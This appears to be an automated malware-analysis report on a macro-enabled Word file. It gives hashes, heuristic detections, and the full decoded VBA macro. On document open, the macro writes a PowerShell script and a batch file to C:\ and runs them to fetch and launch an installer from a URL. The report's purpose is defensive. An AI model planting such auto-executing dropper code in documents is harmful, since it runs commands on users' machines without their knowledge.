Office (OOXML) malware analysis — malicious · 214347f7be45d358

MALICIOUS

Office (OOXML)

19.0 KB Created: 2020-10-05 06:44:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-11-05

MD5: 554bfc73f700a17e701bbbd37bd83b95 SHA-1: 1644df7fdff4fe19fe67a171a51bf7dbd230fcba SHA-256: 214347f7be45d3584deac7b1ce6d304c2f5cb2f5f300aabe994c7ed3ac166d37

330 Risk Score

Heuristics 9

VBA project inside OOXML medium 7 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    Dim shell
```
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
    Set shell = CreateObject("WScript.Shell")
```
PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA
Matched line in script
```
    MyFile1.WriteLine ("Powershell.exe -File  C:\testfile.ps1")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set fso = CreateObject("Scripting.FileSystemObject")
```

cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA

Matched line in script

    MyFile.WriteLine ("Invoke-Expression ""cmd.exe /C start https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msi""")

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
- https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msiIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1432 bytes
SHA-256: `1145c5dcbb2be453f38cd178c960f0e21cc0951a457cb15f4cae11eb41373552`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_New() End Sub Private Sub Document_Open() 'Create a new ps1 script which will when executed downloaded content from malicious hosted script Dim st As String st = """$((Get-Location).Path)\Finalfile.ps1""" Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\testfile.ps1", True) MyFile.WriteLine ("[Net.ServicePointManager]::SecurityProtocol = 'tls12, tls11, tls'") MyFile.WriteLine ("Invoke-Expression ""cmd.exe /C start https://www.wireshark.org/download/win32/Wireshark-win32-2.6.20.msi""") MyFile.Close 'Create and run a batch file to run the created powershell script Dim fso1, MyFile1 Set fso1 = CreateObject("Scripting.FileSystemObject") Set MyFile1 = fso1.CreateTextFile("c:\run.bat", True) MyFile1.WriteLine ("@echo off") MyFile1.WriteLine ("Powershell.exe -File C:\testfile.ps1") MyFile1.Close Dim shell Set shell = CreateObject("WScript.Shell") Set shell = CreateObject("WScript.Shell") shell.CurrentDirectory = "C:\" shell.Run "run" End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	17920 bytes
SHA-256: `caae4faa74165a7dd9a6eb333a0cf5713fad827b65dd8aec6230a51a774e9875`

Open this report in the interactive analyzer, or submit your own file for analysis.